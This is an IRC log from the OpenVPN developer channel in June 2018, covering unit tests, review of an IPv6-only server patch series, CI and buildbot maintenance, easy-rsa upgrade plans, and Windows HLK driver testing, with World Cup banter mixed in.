12:36 < kitsune1> Actually do we need unit test for this? The added code in argv.c looks perfect.. I hate writing tests :) 12:37 <@ordex> :p 12:38 < kitsune1> Seriously, tests test for what we already know while bugs are like what triggered the assert in the first place -- tests wouldn't caught it. 12:38 < kitsune1> wouldn't have 12:39 <@ordex> not this bug sure. but since we use %lu (and others) in the code, it make sense to ensure it works and *will* always work 12:39 <@ordex> if tomorrow we break %lu, for example, the unit test will catch it. without it, we'd find it out when the code path using %lu is hit 12:40 <@ordex> (maybe after several releases :p like it happened now) 12:42 <@ordex> service message: Germany - Sweden will start in 20 minutes 12:42 <@ordex> :D 12:43 < kitsune1> Oh, so it was pre-game wine ? 12:44 <@ordex> well, or after game, if you think about the previous one :P 12:44 <@ordex> I Call it just "dinner" 12:44 <@ordex> :D 12:45 < kitsune1> post game would need something stronger if its like the last one :) 12:46 <@cron2> kitsune1: the point about unit tests is: one day you decide that "the code in argv.c stinks, it really needs to be rewritten" 12:47 <@cron2> if you have unit tests that cover everything the callers expect of these functions and the unit tests work before and after your rewrite, chances are very good that the rest of the code will work as well 12:47 <@cron2> which is why we have unit tests for argv in the first place - because d12fk decided "this module is so unmaintainable, I need to rewrite it" :) 12:48 <@cron2> if we had a unit test for tun.c (which is much harder than "just string and buffer manipulations") ordex' reconstruction would be easier to test as well 12:49 < kitsune1> No doubt tests are useful though in this particular case the biggest weakness of argv_printf is it doesnt support all printf format specifiers. 12:53 <@ordex> cron2: what do you think about comparing argv_printf result with sprintf? wouldn't that be some sort of "Validation" ? and it would work everythwre 12:53 <@ordex> *everywhere 12:54 < kitsune1> Or check the size of unsigned long against uint64_t and test accordingly 13:08 <@ordex> cron2: syzzer: do you think it owuld be acceptable to have scripts and config file for gitlab-ci as well as github? we also have a gitlab repo, therefore it wouldn't entirely be out of scope 13:11 <@cron2> kitsune1: yeah, that would work as well 13:12 <@cron2> (but if I remember correctly, it's not straightforward as you cannot do "#if sizeof(long) == 8" because CPP doesn't know about "sizeof" 13:17 <@ordex> :D good argument cron2 13:17 <@ordex> shouldn't you be watching the match with $kids by now? ;) 13:19 <@cron2> kids should be in bed since 18 minutes... (it's 20:19 here, weekend good night time is 8pm...) 13:19 <@cron2> there will be a shouting match fairly soon... 13:19 <@ordex> oh ok :) 13:22 <@cron2> where's v4 2/8 anyway? 13:24 <@ordex> I might be confused - are we waiting for v4? 13:25 < kitsune1> ordex: v3 still has reference to c->c1.tuntap->did_ifconfig_setup which should be tt->did_ifconfig_setup... 13:25 <@ordex> ah right! 13:25 <@ordex> sorry .. 13:25 <@ordex> will send soon, I have fixed that but not sent 13:30 <@cron2> what kitsune1 says :) 13:33 <@ordex> incoming! 13:33 <@ordex> omg!! 13:33 <@ordex> it happened! 13:34 <@cron2> paatches! 13:34 <@ordex> goal! 13:34 <@ordex> :D 13:35 <@ordex> at the same time! 13:35 <@ordex> :p 13:35 <@cron2> who? 13:35 <@ordex> ehm, not Germany 13:35 <@cron2> argh 13:35 <@ordex> :] 13:35 <@ordex> big mistake in defense 13:35 <@ordex> possession 70% Germany :D 13:35 <@ordex> wow 13:54 * cron2 so loves pull-filter... :) 13:55 <@ordex> :) 13:56 <@cron2> (no, wasn't me :-) - commit 7f74c27e105a3) 14:04 <@ordex> yeeee 14:04 <@cron2> ordex: have you tested the remaining patches individually, or only "all in one go"? 14:04 <@ordex> all in one go 14:04 <@vpnHelper> RSS Update - gitrepo: windows: properly configure TAP driver when no IPv4 is configured <https://github.com/OpenVPN/openvpn/commit/125e9df9539a0d3aa7894f959ef966464754f1da> 14:04 <@cron2> meh 14:05 <@ordex> but they are individual pieces that do not really make sense alone i think 14:05 <@ordex> but yeah, I can do some regression testing at least 14:05 <@ordex> as in: applying each patch does not break common scenarios 14:06 <@cron2> yep. This becomes important when bisecting - and if you hit a bad patch "in between" this is much more annoying 14:07 <@ordex> yeah, for sure they compile and the basic client works, because that pat I always test before sending a series. but i did not run each single patch in buildbot or through more complex testing (and this was done before the rebase on top of the pre-ipv6-only, so better do it again) 14:07 <@cron2> well, 5/8 seems to make sense on its own 14:08 <@ordex> yeah, but only after 4/8 was applied 14:08 <@ordex> (of course) 14:08 <@ordex> and 4/8 alone should at least not break anything 14:08 <@cron2> yeah, forgot that --server-ipv6 wants an ipv6 pool 14:08 <@ordex> yap 14:08 <@cron2> well, the commit message is actually a bit misleading 14:09 <@ordex> for which patch exactly? 14:09 <@cron2> you could run a server with --mode server, no v4 and no pools 14:09 <@cron2> 5/8 14:09 <@cron2> it says "starting with an IPv6-only tunnel", which is not what it does - it de-couples --server-ipv6 from --server 14:10 <@ordex> isn't that strictly required to start a v6-only server ? 14:10 <@cron2> so maybe the subject: should be more along the lines of "permit --server-ipv6 without --server" 14:10 <@cron2> no 14:10 <@cron2> the man page says 14:10 <@ordex> oh ok 14:11 <@cron2> --server-ipv6 ipv6addr/bits 14:11 <@cron2> convenience-function to enable a number of IPv6 related options 14:11 <@cron2> at once, namely --ifconfig-ipv6, --ifconfig-ipv6-pool and --push 14:11 <@cron2> tun-ipv6 Is only accepted if ``--mode server'' or ``--server'' 14:11 <@cron2> is set. Pushing of the --tun-ipv6 directive is done for older 14:11 <@cron2> clients which require an explicit ``--tun-ipv6'' in their con- 14:11 <@cron2> figuration. 14:11 <@cron2> ... and that's what it is :-) - with 1/8 you can run a v6-only server with "--mode server" and "--ifconfig-ipv6" just fine - it won't have a pool to hand out, but the server will work 14:12 <@ordex> ah 14:12 <@ordex> didn't realize that 14:12 <@ordex> I thought --mode server and --ifconfig-ipv6 would have triggered some config error 14:12 <@ordex> but actually i did not even tried to investigate deeper 14:12 <@ordex> ok 14:12 <@cron2> well, before 1/8, it would have failed to do anything useful in do_ifconfig() 14:13 <@ordex> (btw germany scored too) 14:13 <@ordex> (:P) 14:14 <@cron2> 1:1 is not good enough, we need to actually win this 14:15 <@ordex> yeah, give them time :D 14:17 <@ordex> yeah indeed 5/8 is almost all in helper.c 14:25 <@ordex> cron2: "allow usage of --server-ipv6 even when no --server is specified" sounds better? 14:25 <@cron2> this better matches the actual change 14:26 <@cron2> the commit message itself could mention that this was disallowed previously because of the coupled pool handling (or so) 14:26 <@ordex> then I guess the last chunk of this patch should better go in 4/8 14:27 <@ordex> yeah 14:28 <@cron2> yep, it's more logical there - "fix all the pool handling" is 4/8 then, "now allow nice things" is 5/8 14:29 <@cron2> and one can test 4/8 with "--mode server, --ifconfig-ipv6, --ifconfig-ipv6-pool ..." 14:29 <@cron2> which I will not do tonight :) 14:29 <@ordex> yeah sounds good 14:31 <@cron2> PASS: argv_testdriver 14:33 <@ordex> yuppie! 14:34 <@cron2> now *that* was a silly patch series... v1..v3 for a 4-line change in *test* code 14:34 <@ordex> :D 14:39 <@vpnHelper> RSS Update - gitrepo: Add %d, %u and %lu tests to test_argv unit tests. <https://github.com/OpenVPN/openvpn/commit/4376805d8fd2a5d4a3a7c5e4f60948a3ef76ff3b> 14:41 < kitsune1> cron2: sorry for my part in the v1->v2 14:41 < kitsune1> :) 14:42 <@cron2> nah, that was all my own doing - more testing, more thinking, less quick-quick 14:44 < kitsune1> And, high standards of openvpn patch process.. 14:54 <@ordex> waaaa goal 14:54 <@ordex> 10 seconds from the end of the match :D 14:54 < kitsune1> we are behind -- no goal here as yet ! 14:54 <@ordex> the dream comes true haha 14:54 <@ordex> ops! 14:54 < kitsune1> spoiler.. 14:54 <@ordex> :D 14:55 <@ordex> I am 7 hours ahead :D 14:55 < kitsune1> :) 27 seconds to go.. 14:55 < kitsune1> gooaal! 14:55 < kitsune1> you are closer to Sochi.. by 30 seconds :) 14:56 <@ordex> :D 14:56 <@ordex> poor sweden 14:56 <@ordex> :D 14:57 < kitsune1> That was a real "Bend it like Beckham" 14:57 <@ordex> yeah very nice shot 14:57 < kitsune1> Yeah, very unfortunate -- they were so close to advancing 14:57 <@ordex> well, technically still possible I think 14:57 <@ordex> but very difficult :p 15:03 <@ordex> now I can sleep - goodnight! 15:04 < kitsune1> g'nite 15:12 <@ordex> and mode=server+ifconfig-ipv6 works :D not sure what it is for, but it works :D 15:12 <@ordex> haha 15:12 <@ordex> bye! 15:36 <@cron2> ordex: well, that is "ipv6 only server" :)) 15:36 <@cron2> you can run with static ifconfig-ipv6-push from ccd 15:41 < tincantech> it works for me on w10 .. windows tap has 169.254.. and full ipv6 21:36 <@ordex> cron2: ah yeah, that would substitute the pool 21:36 <@ordex> cron2: what is the remote ip for in the ifconfig-ipv6 command, in this casE? 22:03 <@ordex> oh wow, mbedTLS is at 2.11 23:25 <@ordex> cool, on gitlab i can build for windows too now - asically all the gcc variants from travis are in gitlab too (and clang is converted to gcc because i did not want to fiddle with it :P) --- Day changed Sun Jun 24 2018 00:12 <@ordex> https://gitlab.com/ordex986/openvpn/-/jobs 00:12 <@ordex> not sure it's a public link.. 01:10 <@ordex> dazo: what do you think baout adding gitlab-ci to our repo? I am currently working on it and it succeeds. Personally I like the idea because I use gitlab and so I'd be covered when I push stuff 01:27 <@cron2> ordex: anything that is part of the subnet would work - and actually, in tun mode it does not matter at all 01:28 <@cron2> ordex: wrt gitlab-ci - I think it's overdoing it a bit if we're building on multiple CI systems 01:28 <@ordex> cron2: that was point point - I did not understand what it was really good for 01:28 <@cron2> it's the route gateway in tap mode where you must have a next-hop address 01:29 <@cron2> it used to be optional but in some rewrite of options.c it became mandatory 01:29 <@ordex> hmm but in server mode? 01:29 <@ordex> ah ok 01:30 <@cron2> in server mode it does not make much sense, --route-ipv6 in tap mode would need the client's ipv6 address anyway, yes 01:30 <@ordex> cron2: re: CI: yeah I think so too actually...it's just that I push there now and it builds nothing...so I wanted to have something that would at least compile test (and run unit test) every time. so I came up with my script. but i can keep it private if we don't want it 01:31 <@cron2> not sure what "we" want :) - *I* think we shouldn't waste too much computing power belonging to other people by building stuff multiple times. *Where* we build is not something I deeply care about :-) - so if "we" decide "gitlab-ci is nicer than github/travis", fine with me 01:33 <@ordex> yeah sure :) I agree 01:33 <@cron2> so, breakfast time \o/ 01:33 <@ordex> haha enjoy! 07:56 < tincantech> i have upgraded mbedtls to 2.11.0 on my buildbots but I cannot remember what i need to do to buildbot to use the new version .. can anybody nudge me in the right direction ? 07:56 <@ordex> I hope it will work, not sure anybody has tested 2.11 yet :D 07:57 < tincantech> ahh ok 07:57 < tincantech> well .. i still have the previous version 07:58 < tincantech> do i have to make install it ? 08:17 < tincantech> this is odd: "./configure --with-crypto-library=mbedtls --enable-crypto" emds with "configure: WARNING: unrecognized options: --enable-crypto" 08:17 < tincantech> ends* 08:22 <@ordex> because we got rid of that some time ag 08:22 <@ordex> o 08:23 <@ordex> tincantech: ^ 08:25 < tincantech> ordex: ok thanks .. so its just a left over 08:26 <@ordex> yeah, i think it was removed from the other builders not long ago 08:27 < tincantech> do i have to remove it myself ? 08:29 <@ordex> I don't know how buildbots are provisioned 08:29 <@ordex> cron2 should know 08:31 < tincantech> ok thanks :) 08:48 <@ordex> cron2: at the moment we have no test for the server code, right? 08:48 <@ordex> because builders are only running as clients 08:48 <@ordex> I wonder if this could be changed 08:49 <@ordex> with some tool 11:32 < tincantech> ordex: have you managed to get the build-system working yet ? 11:32 <@ordex> tincantech: openvpn-build you mean? 11:33 <@ordex> I am currently use one offered by cron2 - I did not want to spend time on windows-nsis 11:33 <@ordex> (windows-nsis is likely to be the problem) 11:33 < tincantech> yeah the openvpn build-system 11:33 < tincantech> so you have what you need ? 11:34 < tincantech> it's just that I managed to get the entire thing working with full depcache aswell 11:34 <@ordex> tincantech: yeah i use the one from cvron2 for now 11:35 < tincantech> (i think the --build-depcache --use-depcache has some problems but I managed to work around it) 11:35 <@ordex> cool 11:35 < tincantech> ok .. welll if you have what you need i won't worry about it ;) 11:43 < tincantech> ordex: the point was .. if you want someone to build/test a win binary I am happy to help ;) 11:47 <@ordex> thanks! 11:47 <@ordex> sure 12:32 <@cron2> ordex: I have a test server that compiles git master every day and then runs a 2.2, 2.3 and master t-client test against it 12:32 <@cron2> so server code is tested, though not triggered by commits 20:01 <@ordex> ah nice cron2 --- Day changed Mon Jun 25 2018 06:17 < tincantech> here is something unexpected .. after waking from suspend (w10) client config carries on working vs server config craps out because openvpn cannot load the config file 06:17 < tincantech> both loaded via GUI 06:22 < tincantech> is that expected ? 07:13 <@ecrist> usually a permissions issue 07:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:30 < tincantech> ecrist: logged in as admin 07:30 <@ecrist> ? 07:30 <@ecrist> oh 07:31 < tincantech> cannot drop privs on windows .. tried with/without --cd /to/right/path 07:32 < tincantech> maybe some gui bug or hidden feature 08:26 <@ordex> cron2: what do you think about adding the ipv6-only branch to that test server? or maybe master+ipv6-pool-patch? 08:27 <@ordex> I am spending some time trying to create some automatic deployment triggered by gitlab-ci - but that will require some time to reach a working status :) 09:11 < tincantech> ecrist: turns out it was because i "imported" the server config with the gui .. which complicates things 09:20 <@ecrist> gotcha 10:17 < tincantech> this shows how long it has been since anybody pulled 2.3 from git: origin/release/2.3/.gitignore does not have 'compile' included ;) 12:57 < tincantech> mattock: if you get any spare time (unlikely I know) https://github.com/TinCanTech/openvpn-build/commit/8317526bcc2bbb57d3ca312be39f96ca506ebc84 12:57 <@vpnHelper> Title: Update build-complete · TinCanTech/openvpn-build@8317526 · GitHub (at github.com) 13:08 <@mattock> I'm setting up an openvpn server for HLK testing, because the "run" tests assume that the interface is up and that the gateway can be ping6'ed 13:08 <@mattock> I hope that resolves the "all run tests fail" issue 13:09 <@mattock> the underlying assumption in the HLK tests is that the interface is a real physical interface that is connected to something 13:11 <@mattock> responded on GitHub 13:31 <@ecrist> mattock: hello 13:32 <@ecrist> what can we do to release easy-rsa 3.1 with the next openvpn release? 13:46 < tincantech> mattock: thanks :) will follow up 13:48 < m-a> ecrist: I don't see an Easy-RSA tag 3.1 yet, but I do see that we have 3.0.5 while the FreeBSD port is at 3.0.1 13:48 < m-a> ecrist: I guess I should upgrade the port? 13:49 <@ecrist> no, I just was thinking of something else, I meant 3.0.5 13:49 <@ecrist> (sorry, mixing version numbers between things) 13:56 <@cron2> re... kid's birthday party done... kids in bed... 13:57 <@cron2> ordex: I'm working my way through the patch set, and the server side patches will, of course, see server side testing :-) 13:58 <@cron2> ecrist: I think "consider it stable and tell mattock what tarball to bundle" is the way :-) - I didn't know we still shipped easy-rsa, now I know ;-) 14:00 < m-a> ecrist: done - v3.0.4 in FreeBSD's ports. 14:00 < m-a> -> r473331 14:16 < tincantech> ecrist: easyrsa3x will need openvpn-build/windows-nsis/openvpn.nsi to be rewritten for easyrsa 14:17 <@ecrist> m-a: thanks 14:17 <@ecrist> cron2: probably the thing to do. I get a fair amount of email asking for the windows installer to be upgraded. I think I need to devise a proper upgrade path from 2.x to 3.x, as well. 14:18 < m-a> .oO(pampering up the Windoze guys - can't they just use Cygwin and move on?) 14:19 <@ecrist> no 14:22 < tincantech> ecrist: it would seem like an astonishing waste of time to have an official upgrade path from easyrsa 2x to 3x .. 14:24 <@ecrist> tincantech: if we update 2.x to 3.x in the windows installer, there will be a lot of people complaining about lack of upgrade path 14:25 <@ecrist> and an upgrade routine shouldn't be too difficult. 14:25 < tincantech> if that's the way you want to go .. but I think there are much better and faster ways to solve it 14:26 <@cron2> like? 14:27 < tincantech> ok .. anybody not new to openvpn may have their own PKI .. many of those will probably have already migrated to 3.x .. 14:27 < tincantech> anybody new to openvpn .. just put a massive notice into all the 2.x bat files urging them to upgrade to 3.2 14:28 < tincantech> 3.x * 14:28 < tincantech> anybody not new to openvpn and still using easyrsa 2.x .. well that is your only target audience .. 14:30 < tincantech> on top of that .. once ersa3x ships with openvpn then there will be no more use for the "upgrade" 14:31 <@cron2> that is the general crux of upgrade functions - at some point, they are no longer needed 14:32 < tincantech> i'll conceed that point .. 14:34 < tincantech> just seems like any work on an upgrade path is unnecessary pain for ecrist and who ever else steps into that chasm 14:35 <@cron2> "no work on upgrade path" is lots of pain for the affected users, which will cause support issues in the forum... 14:35 <@ecrist> yup 14:37 < tincantech> i have been pushing ppl to 3.x for years on the forum 14:38 <@ecrist> tincantech: there are probably hundreds or more new support "issues" that will crop up as soon as we push ERSA 3.x in the windows build, though, without an upgrade path 14:39 < tincantech> for the time being ship both 14:40 <@cron2> which might actually be a viable approach - ship both, and provide a script (which is likely very simple) that transforms an easy-rsa 2 CA into an easy-rsa 3 CA 14:40 <@cron2> so who wants to move will be helped, and who doesn't want is not affected 14:41 <@cron2> then, in a year or so (with 2.5?) stop shipping 2.x 14:50 < tincantech> ok .. i'll bet that say 50% of windows users never use easyrsa, they are just clients .. and of the ones that do, i bet most of them would run vars.bat .. so you only need one NOTICE in there and the rest is history 14:52 < tincantech> anyway .. i'll leave it at that 14:56 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 21:15 <@ordex> cron2: cool :) --- Day changed Tue Jun 26 2018 00:42 <@ordex> dazo: do you think we should move forward with the hackathon organization? or you want to wait to visit the office again first? 00:42 <@ordex> maybe once you are there, we could figure out the remaining pieces 01:11 <@cron2> good morning folks 01:13 <@ordex> morning y0 01:16 <@cron2> so, any mattock around...? 01:24 <@cron2> I have the nagging suspicion that we're not going to make "June 27" as release date... 01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:58 <@cron2> mattock: so how is it going? 02:10 <@mattock> setting up more test framework 02:10 <@mattock> basically more HLK clients to speed testing up 02:10 <@mattock> also 02:10 <@cron2> did the HLK test succeed? 02:10 <@mattock> everything (afaics) except the "Run" tests 02:11 <@mattock> and the reason is because the TAP adapter can send or receive packets 02:11 <@mattock> based on a cursory look most test suites do the "Run" test which seems to be as simple as "ping6 the gateway" 02:11 <@mattock> of the interface 02:12 <@mattock> so I _assume_ that if I have an OpenVPN connection on the test node where that ping6 will succeed the test should succeed 02:12 <@mattock> cron2: a question for you 02:13 <@mattock> so I need the HLK client systems to get an IPv6 address from the test OpenVPN server 02:13 <@mattock> what config file incantations should I use? 02:14 <@cron2> does it want to access "the world" via this interface, or just "ping a neighbour"? 02:14 <@cron2> ah, ping the gateway 02:14 <@mattock> just ping6 afaics 02:15 <@mattock> based on the documentation 02:15 <@mattock> I did not go through all the "Run test" test descriptions, but I think that's what it does in all/most 02:15 <@cron2> so - I think any openvpn server config should do, and add to this a --server-ipv6 2001:db8:6666::1/64 02:16 <@cron2> that should assign 2001:db8:6666::1000 to the first connecting client and give it <prefix>::1 as gateway 02:17 <@mattock> ok 02:19 <@ordex> god bless ipv6!! 02:29 <@mattock> inlining diffie-hellman is just <dh>...</dh>, right? 02:30 <@cron2> not sure I've ever done that 02:31 <@cron2> but the man page looks like it 02:31 <@mattock> ok, I'll go with that 02:38 <@ordex> yeah 05:22 <@ordex> tincantech: why are all your buildebots down? something is broken? 05:56 <@cron2> mattock: I think "release tomorrow" is not likely anymore since these tests take so long, and we need to get people to actually test the resulting pre-release driver first. Postpone to when? 06:55 <@mattock> I can probably run the tests in ~3 hours now 06:55 <@mattock> with four HLK clients 06:56 <@mattock> that said, there's no guarantee that the "Run" tests show positive this time 06:56 <@mattock> although manually ping6'ing the gateway works 06:56 <@cron2> so, let's wait and hope :) 06:56 <@mattock> I'm almost done with setting the new slaves, so I can launch tests in <1 hour 07:02 < tincantech> mattock: i have had to retire debian8 buildbot so you may want to revoke that client 07:47 <@mattock> ok 10:05 <@mattock> ok now the distributed testing thing is finally working 10:06 <@mattock> four HLK client nodes 10:06 <@mattock> all connected to an OpenVPN server so the "Run tests" might succeed 10:06 <@mattock> right now I'm doing a PoC using tap-windows-9.21.2, because doing a pre-release version would require more automation 10:07 <@mattock> while those tests are running I can automate the rest (e.g. add test signing certs to the certificate store) 10:13 <@ordex> mattock: will you get the "MS Test Engineer" title soon? ;P 10:13 <@ordex> we always needed one :D 10:22 <@mattock> well I guess so :P 10:22 <@mattock> "Most Valuable Professional" 10:22 <@mattock> I mean, it's not like I wanted this 10:22 <@mattock> "I was driven into this mess" 10:23 <@mattock> basically I'm building an entire distributed testing infrastructure so that we can support Windows Server 2016 10:23 <@mattock> which I guess we kind of have to 10:27 <@ordex> well, I think it is fairly important as it should be the current reference platform for windows servers 11:04 <@mattock> hence we play by the book microsoft has given us 11:05 <@mattock> they're clearly trying to strong-arm people into testing their drivers 11:05 <@mattock> which is of course good 11:05 <@mattock> we naturally would not need any testing except a simple ping test :P 11:06 <@mattock> damn "Run test" is still running, takes ages 11:06 <@mattock> keeping me under tension 11:07 <@ordex> it might be pinging more than just the gw then? :D 11:07 <@mattock> I hope not 11:07 <@mattock> well I could make the server forward traffic or whatnot 11:08 <@ordex> well, it would have already failed if so, no? 11:08 <@mattock> can't recall how long it took the last time 11:08 <@mattock> I hope this is a good sign 11:17 <@mattock> "Run test" passed!!! 11:17 <@mattock> ok need to make the cluster run through the remaining tests 11:24 <@ordex> !!! 11:24 <@ordex> cool 11:44 <@mattock> all green so far 11:52 <@ordex> go go go!! 11:52 <@ordex> :) 11:52 <@ordex> this may even succeed!! 12:27 <@mattock> one test failure 12:27 <@mattock> some of the tests require extra preparatory steps 12:27 <@mattock> in this particular failure the setup apparently includes "enabling network and printer sharing" in the "remote system" 12:28 <@mattock> this smells like I need to join yet another windows node to the test VPN, enable client-to-client and make sure that "network and printer sharing" works 12:28 <@mattock> smells like more work 12:28 <@mattock> as I don't have "an Ethernet cable" I could use, like the documentation suggests 12:30 <@mattock> I guess this is one of those proverbial hoops I have to jump through 12:30 <@ordex> bah 12:30 <@ordex> but..this sounds beyond just "testing a networking driver" 13:14 <@mattock> two test failures so far 13:15 <@mattock> which is pretty good tbh as 2/3 of the tests have run 13:38 <@mattock> four failures so far 13:38 <@mattock> so it will take some tweaking to get those corrected 13:40 <@cron2> I'm impressed, but we need to let people know that "June 27" is not going to work (Jon especially is waiting) 14:05 <@mattock> yes, that is not going to happen 14:05 <@mattock> this could take a while unless I/we can fix the causes of test failures 14:05 <@mattock> if the issues are related to "we assume you're testing a real physical network adapter" then we may have to contact MS 14:06 <@mattock> but without having looked into all the test failures and attempting fixes I can't give any reasonable estimate, except that we should postpone at least one week 14:10 <@cron2> sounds like it, yes 14:10 <@cron2> maybe Jon can help with the expectations of the tests? 14:15 <@cron2> note sent to -devel 23:06 -!- pine127_ is now known as pine127 --- Day changed Wed Jun 27 2018 01:35 <@cron2> goodmornin 03:53 <@mattock> almost afternoon 03:54 <@mattock> I will go through the HLK test failures now and try to figure out what needs to be done 03:54 <@mattock> that should give us some estimate of a reasonable deadline 04:13 <@mattock> I think we need a Windows driver developer to have a look 04:13 <@mattock> one of the issues _might_ be this one: https://docs.microsoft.com/en-us/windows-hardware/drivers/wdtf/test-your-device-to-see-if-you-need-to-customize-the-wdtf-simple-i-o-action-plug-in 04:13 <@vpnHelper> Title: Test presence or need for custom WDTF simple I/O action plug-ins | Microsoft Docs (at docs.microsoft.com) 04:13 <@mattock> lack of WDTF simple I/O action plugin 04:14 <@mattock> the test logs mention that, although at INFO level 04:14 <@mattock> but then again, the same tests have clearly failed, and there's nothing but INFO in the logs 04:17 <@mattock> I will go through the troubleshooting procedures just in case 04:26 <@cron2> mattock: Jon has offered that you can send him whatever is unclear and he'll help with answers 04:26 <@mattock> yeah, we need something like that 04:26 <@mattock> if Jon can help resolve the root causes that would be great 04:27 <@mattock> there are some missing pieces in the test environment, but I think most of the failures are not due to that 04:27 <@cron2> mail was on the -devel list, yesterday night 04:27 <@mattock> it would probably be best to grant Jon access to the HLK controller 04:27 <@mattock> I can do that easily 04:30 <@mattock> cron2: would you be ok with reconfiguring the community VPN to push routes? 04:30 <@mattock> then I could grant Jon VPN access and via that access to the HLK controller node 04:30 <@mattock> rather than opening RDP to the world 04:31 <@mattock> what would change is the buildmaster IP 04:31 <@mattock> the last time the problem was just that by default EC2 instances drop any traffic not aimed at themselves 04:32 <@mattock> I figure out that _after_ rolling back to the old configuration 04:33 <@mattock> figured 04:40 <@cron2> mattock: no problem here. I've changed all my nodes to have openvpn run as root, so the usual "config change, no permission to change anything, openvpn dies" dance is fixed :) 04:40 <@cron2> opensolaris might still have a problem (seems tunnel restarting is actually broken there) 04:40 <@cron2> I'll fix what breaks 05:06 <@mattock> ok 05:06 <@mattock> I'll suggest the VPN access approach to Jon then 05:06 <@mattock> sending email now 05:11 <@mattock> done 05:11 <@mattock> I'll go setup the "Support machine" now 05:12 <@mattock> that's the last thing a non-Windows developer like I can do 05:12 <@mattock> and I don't want to end up _being_ a Windows (driver) developer tbh :P 05:12 <@mattock> even I have some limits :D 05:20 <@cron2> I'm fine with working on the actual code :-) - but this test/signing undertaking is way beyond my capacity for patience 05:54 <@mattock> cron2: well that is what it takes with Windows lol :P 05:54 <@mattock> you need the patience of a saint 05:56 <@mattock> MS documentation is again very obscure 05:56 <@mattock> "LAN Testing Prerequisites Additionally, the server system(s) being used for device or driver testing must have Server Core installed prior to testing" 05:56 <@mattock> they also tell that we need 4 real physical cores and 1GB RAM 05:59 <@mattock> also: " A back-to-back connection is required for tests which a network switch may interfere with the result. Such tests include: 05:59 <@mattock> - QoS (aka. DCB) (priority flow control, LLDP/DCBX interop, ETS (as some switches may strip 802.1p tags) 05:59 <@mattock> - Tx Flow Control 05:59 <@mattock> - Tests which send 802.1q–tagged (VlanSendRecv, VMQ, 1c_priority, maybe others) 06:00 <@mattock> not sure if those apply to us 06:02 <@mattock> worst case: I have to build a real testing network at the office 06:02 <@mattock> not a big deal fortunately as all the configurations are in Puppet so I can migrate those over easily 06:03 <@mattock> except that some poor soul would have to set up a bunch of physical Windows servers there and attach network cables and switches and all that 06:03 <@mattock> anyways, I think it's best to wait input from Jon first 06:54 <@cron2> yep 06:55 <@cron2> I do not think you need "a real testing network", but I wonder how well we deal with LLDP or 802.1q tagged VLANs... 06:55 <@cron2> maybe the "openvpn test network" needs to be in tap mode for those to succeed... 10:36 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:36 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:59 <@cron2> world record! 10:59 <@cron2> the worst ever group phase for DE 11:25 < tincantech> just heard .. can't believe it ! 11:28 <@ordex> cron2: !!! 11:28 <@ordex> :D 11:28 <@ordex> the goal keeper better stay in the goal :P 11:57 <@cron2> nah, Manuel Neuer needs to run around and shoot at the other goal 12:21 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 12:22 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:57 < jkunkee> @mattock, I'm on now but it's nearly 1800 UTC :/ 12:59 < jkunkee> Most of the answers can, I think, go through email, so I'm working on that now. 13:04 <@cron2> hey jkunkee :-) 13:05 <@cron2> mattock might have family duties - so indeed, mail might be easier to get started... 13:05 <@cron2> time zone differences can be really complicated at times... 13:06 <@cron2> 8:05 pm here, no idea whether it's 7pm or 9pm for mattock, and something like 2am for ordex 13:32 <@dazo> ordex: re: hackathon ... I think we're good for the dates ... will just check if all of the really core community developers really have responded (I think so, though, but need to double check) ... Andriy in Lviv already confirmed first week in October is good for them 13:33 < jkunkee> Hey @cron2 13:34 < jkunkee> fair enough. It's 11am here... 13:34 < jkunkee> email it'll be then :) 13:35 < jkunkee> Thanks 14:03 <@cron2> dazo: cool 15:13 <@mattock> jkunkee: do you have an OpenVPN community accounts? 15:13 <@mattock> i.e. one for logging in to forums / trac? 15:13 <@mattock> you can create one from https://community.openvpn.net/register 15:14 <@mattock> if you don't have it yet 15:14 <@mattock> now - if you let me know your user account name I can grant you access to the HLK controller by tomorrow morning your time 15:23 <@mattock> jkunkee: sent email your way as well 15:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:45 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 20:13 <@ordex> dazo: cool! thanks for the update! 20:38 <@ordex> cron2: what bug are you referring to when talking about server brdidging/learning addresses? 23:00 <@ordex> cron2: does v3 4/8 requires anything on my side at the moment? --- Day changed Thu Jun 28 2018 01:21 <@cron2> ordex: ipv6only needs review and testing, and that's on my side. Very busy week, tho 01:22 <@cron2> wrt TAP: #626 is the one that is "known broken" 01:25 <@cron2> there is also #931 that looks related, and #1070 01:25 <@cron2> let's get ipv6only done, and then I'll look into this 02:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:36 <@ordex> cron2: jawohl! 02:56 <@ordex> is there any easy way to link openvpn statically (of course, assuming I have the source of the various deps)? or do I need to tweak the C/LDFLAGS manually? 02:59 <@cron2> static linking is complicated on linux today, as libc is using dynamic stuff internally (nss stuff etc) 03:00 <@cron2> "the ssl, lz4 and lzo bits" are not so hard - build the libraries statically, install them $somewhere, point the corresponding arguments there 03:00 <@ordex> yeah but if you compile with -static it should still be able to come up with something portable, I guess? not been playing with that since a while 03:01 <@ordex> yeah 03:01 <@ordex> ok, will see...I was hoping to get some statically linked binary from gitlab-ci that I can just download and run 03:01 <@cron2> not sure what -static will do nowadays (especially if a library is only available in "shared", it might not be able to link statically) 03:03 <@ordex> yeah 06:49 <@mattock> cron2: I will start breaking community VPN again soon 06:51 <@mattock> will send email about that as well 07:00 <@cron2> have fun :) 07:01 <@mattock> I will :) 07:12 * krzee passes out the bats again 07:29 * tincantech starts the multi-ball launcher 07:42 <@mattock> looks like the VPN now works as expected 07:42 <@mattock> I have to fix my buildslaves now 08:19 < tincantech> mattock: i have reconnected all bbslaves to the vpn but the bbmaster server does not respond ;) 08:22 <@mattock> 